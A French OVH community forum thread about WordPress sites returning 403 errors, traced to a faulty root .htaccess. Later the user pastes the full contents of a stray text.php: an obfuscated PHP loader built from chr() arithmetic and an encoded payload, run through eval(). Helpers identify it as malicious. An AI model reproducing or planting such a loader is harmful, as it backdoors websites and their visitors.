Bonjour,
Subitement tous les sites sur mon hébergement Performance 1 sur le cluster031 ne sont plus gérables.
ai-hao.be
as-shinto.be
site vierge test 01.sn
Les sites fonctionnent de manière bancale et sont partiellement accessibles: via wp-admin= 403 Forbidden
Je n'ai aucune trace de piratage
J'ai tout même tout nettoyé pour remettre les backups initiaux (01/01/2023) tout comme les deux bases de données mais le problème reste identique.
J'ai testé l'installation d'un nouveau domaine que j'ai rajouté sur cet hébergement qui dispose encore suffisamment d'espace.
J'installe WP via le one click solution avec la version que propose OVH, le module ainsi que la nouvelle base de données se crée sans souci mais impossible de modifier quoi que ce soit dans WP et encore moins y faire un update automatique. Tout le module est donc encore vierge et les soucis apparaissent de suite.
Fichier .htaccess est inchangé
# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
Sur les deux sites existants:
# BEGIN WordPress
# De richtlijnen (regels) tussen "BEGIN WordPress" en "END WordPress" worden
# dynamisch gegenereerd en zouden alleen aangepast mogen worden via WordPress filters.
# Alle wijzigingen aan de richtlijnen tussen deze markeringen worden overschreven.
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
voici le .htaccess de la racine
Order allow,deny
Deny from all
Order allow,deny
Allow from all
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
Qui a des indices pour me mettre sur la bonne voie,
merci d'avance.
WP-admin: 403 Forbidden
Related questions
- Connexion à mon compte client
157426 
13.02.2019 09:51
- Serveur non sécurisé, celui-ci ne supporte pas FTP sur TLS
128222 03.09.2018 14:46
- reCAPTCHA erreur pour le propriétaire du site : clé de site non valide
112508 14.02.2019 16:17
- [FAQ] Comment mettre à jour mon site pour supporter Apache 2.4 ?
99650 28.07.2017 11:39
- Passage en php 7.4
98991 30.06.2020 05:05
- Augmenter taille PHP Post Max Size sur mutualisé ?
93281 04.12.2019 21:52
- The requested URL / was not found on this server
92323 02.03.2017 18:25
- Deploy d'un projet Node JS
92268 12.10.2016 20:18
- Ce site est inaccessible Impossible de trouver l'adresse DNS du serveur
92155 16.10.2016 16:24
- NextCloud sur mutualisé
92148 07.04.2017 08:42
update: je viens d'installer Opera afin d'avoir un browser clean, les tests donnent les même résultats.
J'ai désactivé le CDN sur tous les domaines
Très mauvaise idée.
Installer un autre site en suivant mes guides :
--> **https://www.wordetweb.com/word-et-web/WORDPRESS-ajouter-deuxieme-domaine-2eme-installation-de-Wordpress-FR.htm Une 2ème installation de site sur un même hébergement**
Et aussi :
Encore des installations de me**e en un clic.
Pour régler facilement votre problème, vous allez pouvoir désinstaller ce module **en un clic** et **installer WordPress manuellement et proprement**.
_Il faut absolument éviter les Solutions en "Un clic" de OVH qui souvent sont anciennes et source de problèmes._
_Privilégier les installations manuelles._
Si vous n'avez pas encore trop travaillé sur votre site, il faudrait supprimer cette "Installation en 1 clic".
**Et installer WordPress manuellement.**
Si le fichier **/www/wp-config.php** existe, les informations d'accès à la base de données pour WordPress se trouvent dans ce fichier :
> // ** reglages MySQL ** //ftp-
> define('DB_NAME', 'xxx'); // Le nom de la base de donnees
> define('DB_USER', 'xxx'); // Votre identifiant MySQL
> define('DB_PASSWORD', 'xxx'); // ...et votre mot de passe
> define('DB_HOST', 'xxx'); // Adresse du serveur de type xxx.mysql.db
Si le fichier **/www/wp-config.php** n'existe pas ou plus, suivre la procédure
**J - WordPress - Création de la Base de Données** décrite dans mon guide.
Pour supprimer cette installation en un clic :
* Par FTP FileZilla vider tout le contenu de www, **mais garder www**
* Via phpmyadmin, supprimer toutes les tables, **mais garder la base**
**Manager OVH > Web Cloud > Hébergement > TonDomaine > Bases de données** :
- En cliquant sur "..." aller "Accéder à PhpMyAdmin"
- et Supprimer toutes les tables, **pas la base.**
_**Puis installer manuellement votre site en suivant mon guide.**_
**__________________________________________________________________________________**
Voici un petit guide que j'ai écrit et qui pourrait vous apporter des éclaircissements pour **une Installation complète et propre de votre Site**.
**************************************************************************************************
* **Guide - Comprendre la Relation Domaine > Zone DNS > Hébergement > Dossier du site** *
**************************************************************************************************
Voir --> **https://wordetweb.com/word-et-web/WORDPRESS-guide-installation-de-WordPress-premier-domaine-chez-OVH-FR.htm CMS - WordPress - Guide Installation chez OVH**
Contrôler votre situation en suivant **attentivement** les paragraphes : **A** à **J**
_N'hésitez pas à me faire un retour : positif ou négatif._
_C'est comme cela que je peaufine mon Guide._
_Si ce guide vous a bien aidé, n'hésitez pas à cliquer sur le bouton « j'aime »_
Je pense que vous avez été piraté.
Ces 4 lignes n'ont rien à faire là.
Vous aviez installé un Wordpress en néerlandais au Sénégal ?
merci à vous pour les précieuses infos que je m'empresse à appliquer.
Donc exit le One Click, je vire tout et refait un test à partir de ton tuto.
Je vais d'abord passer par la case cuisine car mon épouse va rentrer du boulot.
Je posterai les résultats après :)
> Fritz2cat
Son site a été victime d'attaques, en principe il ne devrait plus y avoir de trace car on avait remis tout les fichiers et base de données du backup initial que j'avais fait dès qu'il avait terminé son site.
Je pensais qu'Ovh avait instauré de nouvelles sécurités même si j'ai du mal à décrypter le tout :D
Quelles infos minimales doivent se trouver dans un .htaccess?
Je vais le nettoyer car il est possible que le fichier dans la racine bloque le tout
Merci!
OVH ne peut garantir la sécurité qu'entre les clients. Si un client est infecté, tous les sites qui se trouvent dans cet hébergement sont potentiellement infectés. Mais l'hébergement du voisin (autre client / autre hébergement) ne peut pas être touché.
Rien. Enlever le fichier.
Pour Wordpress, ce fichier a de l'importance pour gérer les permaliens. L'enlever casse en général les permaliens.
Super Fritz2cat!
Je remercie les deux héros qui m'ont assisté, c'est bien le .htaccess qui me semblait bon qui est la cause de tous nos soucis.
C'est donc le fichier .htaccess qui se trouve dans la racine où se trouvent .ovhconfig
.bash_logout
.bash_profile
.bashrc
text.php
vu l'emplacement j'hésitais à y toucher
Merci de tout coeur les gars pour cette précieuse aide! On galère depuis une semaine, remis certainement une dizaine de fois le tout :D :D :D
😽 kudos
C'est à vous, ce fichier là ?
non, je ne sais pas si c'est bien legit ...
voici son contenu incompréhensible pour moi :D
$co = chr(155-36-15).chr(87+29).chr(63+46).chr(76+13+19).chr(66-33+82).chr(74-36+74).chr(27+40+34).chr(105-8+2).chr(11+35+59).chr(99-3+1).chr(76+13+19).chr(105-8+2).chr(155-36-15).chr(99-3+1).chr(53+36+25).chr(66-33+82).chr(23+72).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34);
$na = chr(59+39).chr(99-3+1).chr(66-33+82).chr(27+40+34).chr(26+28).chr(17+35).chr(23+72).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34);
$ro = chr(4+97+16).chr(53+36+25).chr(76+13+19).chr(28+53+19).chr(27+40+34).chr(105-8+2).chr(54+22+35).chr(28+53+19).chr(27+40+34);
$AmInE = "ZX\132hbCU\x79OCU\x79\116\x79U\x7a\122\x69U\x79\116\x6dd0\112\124\116C\112\124I3\114\x6dd6dW5jb21\x77c\x6d\126\x7ac\x79U\x79OGd6aW5\x6dbG\1060\132SU\x79OG\112hc2U2\116\1069\x6b\132W\116v\132GUlMjh\x7ad\110\112\x79\132XYlMj\x67lMj\122\102bWl\x75\132U\122\x75c\x79U\x79OSU\x79OSU\x79OSU\x79OSU\x79OSU\x7aQ\x67\x3d\x3d";
$AmineDns = "wrJVUBg/2sGlzrAVmnmE6G0sSBaU7SRzGV21vgovJIU33Z28Wyd8XPget/dP03b7AbfhcqSQrTbFbj5/9fUO8ZBTkOfNWJDpRpNT9a0SW8iUr2Gsb3iq1UlmduFKHblGuIdpGpEmfcu3tWTdigSYk4NI4y7I1C19M4k78lvcWrvEL+eXPhvqnugcpyJhwBEi15KTUpoz0RIDZdAILyJ8bSsV+bV2Js5xALanh4TMMW7ytjJSeDXQBWy9nteXjv7nlyWdTeWrlSna6YvVPwpj2gdKK34qnjcOmO3ugYx02A8vuyI+IMdMXmlxZyOgaWWIJDbFMZnrZtKOm2z7gYNmOnF1MMdJOkFMITAmocGQbw0PBKvZxCnGmKgHASBxJZedlwkkMl3bSzpwukRsn/2ZnZ2Zvg6KT07/V04EaoGJ65oXJs0SoNtaI5z0RpouIVo4CCUTBvQF8DBUCr22QVFn45/nBAWA";/*2e3300cd40ea092e5eeb579abe01e85a*/
eval($co($ro($na($AmInE))));
exit;
?>
technique de pirate pour rendre illisible du code malveillant.
Cherchez tous les fichiers php qui ne proviennent pas de votre installation Wordpress.
Si on y trouve "eval(" c'est très suspect.
La date et l'heure de création de ce fichier intrus est un possible indicateur.
Mon conseil c'est de restaurer votre site depuis un backup qui date d'avant votre infection.
Et si vous n'avez pas de backup il faudrait reconstruire à partir de zéro.
en effet, c'était la méthode que j'avais utilisée pour la première infection, là il y avait une masse de fichiers php très louches qui ont été très simples à virer mais au final, on a préféré remettre une version clean que j'avais déjà préparée en vue d'un tel scénario.
Cette fois-ci je n'avais pas détecté le fichier .htaccess dans la racine de l'hébergement avec ces quelques lignes supplémentaires, qui à mes yeux me semblaient pleine de bon sens. Malheureusment ça a bloqué tout l'hébergement...
Les backups sont et resteront un aspect primordial si on veut éviter de gros soucis.
Et mettre à jour ses connaissances :D :D :D
... ce qui prouve qu'une infection déborde du site infecté et peut contaminer tous les sites qui seraient également mis dans cet hébergement.
Bonjour,
et aussi ce qui prouve que suite à la précédente restauration, le problème la faille qui a servi d'intrusion n'a pas été corrigé vu que quelqu'un (peut être le même ?) est revenu pirater le site, ce qui va recommencer si le problème n'est pas corrigé.
Cordialement, janus57
Bonjour @Chen-Nie_SiniY,
Si un des différents retours répond à votre demande, je vous invite à marquer ce dernier comme solution.
Dans le cas contraire, n’hésitez pas à ajouter des informations afin qu’une nouvelle réponse vous soit apportée par la communauté.
^FabL